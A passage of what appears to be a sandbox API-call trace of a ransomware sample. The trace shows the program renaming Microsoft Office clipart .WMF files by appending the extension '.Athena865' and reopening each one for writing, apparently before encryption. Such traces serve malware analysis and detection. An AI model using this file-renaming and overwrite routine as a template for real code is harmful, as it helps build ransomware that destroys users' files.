(lpString="SO00190_.WMF") returned 12 [0134.128] lstrlenW (lpString="Athena865") returned 9 [0134.128] lstrcmpiW (lpString1="0190_.WMF", lpString2="Athena865") returned -1 [0134.136] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00190_.WMF.Athena865") returned 73 [0134.136] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00190_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00190_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00190_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00190_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00190_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00190_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.141] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=20812) returned 1 [0134.145] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO00191_.WMF" | out: lpString1="SO00191_.WMF") returned="SO00191_.WMF" [0134.145] lstrlenW (lpString="SO00191_.WMF") returned 12 [0134.145] lstrlenW (lpString="Athena865") returned 9 [0134.145] lstrcmpiW (lpString1="0191_.WMF", lpString2="Athena865") returned -1 [0134.145] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00191_.WMF.Athena865") returned 73 [0134.145] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00191_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00191_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00191_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.148] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00191_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00191_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.148] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=8336) returned 1 [0134.152] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO00192_.WMF" | out: lpString1="SO00192_.WMF") returned="SO00192_.WMF" [0134.152] lstrlenW (lpString="SO00192_.WMF") returned 12 [0134.152] lstrlenW (lpString="Athena865") returned 9 [0134.152] lstrcmpiW (lpString1="0192_.WMF", lpString2="Athena865") returned -1 [0134.152] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00192_.WMF.Athena865") returned 73 [0134.152] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00192_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00192_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00192_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00192_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.154] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00192_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00192_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.154] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=10252) returned 1 [0134.157] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO00194_.WMF" | out: lpString1="SO00194_.WMF") returned="SO00194_.WMF" [0134.157] lstrlenW (lpString="SO00194_.WMF") returned 12 [0134.157] lstrlenW (lpString="Athena865") returned 9 [0134.157] lstrcmpiW (lpString1="0194_.WMF", lpString2="Athena865") returned -1 [0134.157] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00194_.WMF.Athena865") returned 73 [0134.157] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00194_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00194_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00194_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.158] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00194_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00194_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.159] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=10176) returned 1 [0134.161] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO00197_.WMF" | out: lpString1="SO00197_.WMF") returned="SO00197_.WMF" [0134.161] lstrlenW (lpString="SO00197_.WMF") returned 12 [0134.161] lstrlenW (lpString="Athena865") returned 9 [0134.162] lstrcmpiW (lpString1="0197_.WMF", lpString2="Athena865") returned -1 [0134.162] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00197_.WMF.Athena865") returned 73 [0134.162] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00197_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00197_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00197_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00197_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.163] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00197_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00197_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.163] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=9100) returned 1 [0134.170] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO00199_.WMF" | out: lpString1="SO00199_.WMF") returned="SO00199_.WMF" [0134.170] lstrlenW (lpString="SO00199_.WMF") returned 12 [0134.170] lstrlenW (lpString="Athena865") returned 9 [0134.170] lstrcmpiW (lpString1="0199_.WMF", lpString2="Athena865") returned -1 [0134.170] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00199_.WMF.Athena865") returned 73 [0134.170] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00199_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00199_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00199_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00199_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.172] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00199_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00199_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.172] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5630) returned 1 [0134.176] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO00200_.WMF" | out: lpString1="SO00200_.WMF") returned="SO00200_.WMF" [0134.176] lstrlenW (lpString="SO00200_.WMF") returned 12 [0134.176] lstrlenW (lpString="Athena865") returned 9 [0134.176] lstrcmpiW (lpString1="0200_.WMF", lpString2="Athena865") returned -1 [0134.176] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00200_.WMF.Athena865") returned 73 [0134.176] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00200_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00200_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00200_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.182] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00200_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00200_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.183] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=10534) returned 1 [0134.189] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO00208_.WMF" | out: lpString1="SO00208_.WMF") returned="SO00208_.WMF" [0134.189] lstrlenW (lpString="SO00208_.WMF") returned 12 [0134.189] lstrlenW (lpString="Athena865") returned 9 [0134.189] lstrcmpiW (lpString1="0208_.WMF", lpString2="Athena865") returned -1 [0134.189] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00208_.WMF.Athena865") returned 73 [0134.189] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00208_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00208_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00208_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00208_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.191] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00208_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00208_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.191] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=11936) returned 1 [0134.200] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO00212_.WMF" | out: lpString1="SO00212_.WMF") returned="SO00212_.WMF" [0134.200] lstrlenW (lpString="SO00212_.WMF") returned 12 [0134.200] lstrlenW (lpString="Athena865") returned 9 [0134.201] lstrcmpiW (lpString1="0212_.WMF", lpString2="Athena865") returned -1 [0134.202] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00212_.WMF.Athena865") returned 73 [0134.203] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00212_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00212_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00212_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00212_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.206] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00212_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00212_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.206] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=20338) returned 1 [0134.217] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO00221_.WMF" | out: lpString1="SO00221_.WMF") returned="SO00221_.WMF" [0134.217] lstrlenW (lpString="SO00221_.WMF") returned 12 [0134.218] lstrlenW (lpString="Athena865") returned 9 [0134.218] lstrcmpiW (lpString1="0221_.WMF", lpString2="Athena865") returned -1 [0134.219] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00221_.WMF.Athena865") returned 73 [0134.219] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00221_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00221_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00221_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00221_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.226] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00221_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00221_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.226] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=8052) returned 1 [0134.232] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO00222_.WMF" | out: lpString1="SO00222_.WMF") returned="SO00222_.WMF" [0134.232] lstrlenW (lpString="SO00222_.WMF") returned 12 [0134.232] lstrlenW (lpString="Athena865") returned 9 [0134.232] lstrcmpiW (lpString1="0222_.WMF", lpString2="Athena865") returned -1 [0134.232] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00222_.WMF.Athena865") returned 73 [0134.232] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00222_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00222_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00222_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00222_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00222_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00222_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.234] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7772) returned 1 [0134.237] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO00223_.WMF" | out: lpString1="SO00223_.WMF") returned="SO00223_.WMF" [0134.237] lstrlenW (lpString="SO00223_.WMF") returned 12 [0134.237] lstrlenW (lpString="Athena865") returned 9 [0134.237] lstrcmpiW (lpString1="0223_.WMF", lpString2="Athena865") returned -1 [0134.237] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00223_.WMF.Athena865") returned 73 [0134.237] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00223_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00223_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00223_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00223_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00223_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00223_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.239] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=13890) returned 1 [0134.242] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO00257_.WMF" | out: lpString1="SO00257_.WMF") returned="SO00257_.WMF" [0134.242] lstrlenW (lpString="SO00257_.WMF") returned 12 [0134.242] lstrlenW (lpString="Athena865") returned 9 [0134.242] lstrcmpiW (lpString1="0257_.WMF", lpString2="Athena865") returned -1 [0134.242] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00257_.WMF.Athena865") returned 73 [0134.242] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00257_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00257_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00257_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00257_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.243] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00257_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00257_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.244] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=18286) returned 1 [0134.248] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO00289_.WMF" | out: lpString1="SO00289_.WMF") returned="SO00289_.WMF" [0134.248] lstrlenW (lpString="SO00289_.WMF") returned 12 [0134.249] lstrlenW (lpString="Athena865") returned 9 [0134.249] lstrcmpiW (lpString1="0289_.WMF", lpString2="Athena865") returned -1 [0134.249] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00289_.WMF.Athena865") returned 73 [0134.249] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00289_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00289_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00289_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00289_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.250] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00289_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00289_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.250] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=55520) returned 1 [0134.255] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO00299_.WMF" | out: lpString1="SO00299_.WMF") returned="SO00299_.WMF" [0134.255] lstrlenW (lpString="SO00299_.WMF") returned 12 [0134.255] lstrlenW (lpString="Athena865") returned 9 [0134.255] lstrcmpiW (lpString1="0299_.WMF", lpString2="Athena865") returned -1 [0134.255] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00299_.WMF.Athena865") returned 73 [0134.255] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00299_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00299_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00299_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00299_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.257] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00299_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00299_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.257] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=68792) returned 1 [0134.272] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO00305_.WMF" | out: lpString1="SO00305_.WMF") returned="SO00305_.WMF" [0134.272] lstrlenW (lpString="SO00305_.WMF") returned 12 [0134.272] lstrlenW (lpString="Athena865") returned 9 [0134.272] lstrcmpiW (lpString1="0305_.WMF", lpString2="Athena865") returned -1 [0134.272] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00305_.WMF.Athena865") returned 73 [0134.272] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00305_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00305_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00305_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00305_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.274] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00305_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00305_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.274] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=31236) returned 1 [0134.278] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO00333_.WMF" | out: lpString1="SO00333_.WMF") returned="SO00333_.WMF" [0134.278] lstrlenW (lpString="SO00333_.WMF") returned 12 [0134.278] lstrlenW (lpString="Athena865") returned 9 [0134.278] lstrcmpiW (lpString1="0333_.WMF", lpString2="Athena865") returned -1 [0134.278] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00333_.WMF.Athena865") returned 73 [0134.278] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00333_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00333_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00333_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00333_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.280] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00333_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00333_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.280] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=61002) returned 1 [0134.295] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO00345_.WMF" | out: lpString1="SO00345_.WMF") returned="SO00345_.WMF" [0134.295] lstrlenW (lpString="SO00345_.WMF") returned 12 [0134.295] lstrlenW (lpString="Athena865") returned 9 [0134.295] lstrcmpiW (lpString1="0345_.WMF", lpString2="Athena865") returned -1 [0134.295] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00345_.WMF.Athena865") returned 73 [0134.295] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00345_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00345_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00345_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00345_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.301] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00345_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00345_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.301] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=35734) returned 1 [0134.313] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO00350_.WMF" | out: lpString1="SO00350_.WMF") returned="SO00350_.WMF" [0134.314] lstrlenW (lpString="SO00350_.WMF") returned 12 [0134.314] lstrlenW (lpString="Athena865") returned 9 [0134.315] lstrcmpiW (lpString1="0350_.WMF", lpString2="Athena865") returned -1 [0134.315] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00350_.WMF.Athena865") returned 73 [0134.316] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00350_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00350_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00350_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00350_.wmf.athena865"), dwFlags=0x1) returned 1 [0134.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00350_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00350_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0134.320] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=48096) returned 1 [0134.333] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SO00352_.WMF" | out: lpString1="SO00352_.WMF") returned="SO00352_.WMF" [0134.333] lstrlenW (lpString="SO00352_.WMF") returned 12 [0134.333] lstrlenW (lpString="Athena865") returned 9 [0134.334] lstrcmpiW (lpString1="0352_.WMF", lpString2="Athena865") returned -1 [0134.334] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00352_.WMF.Athena865") returned 73 [0134.334] 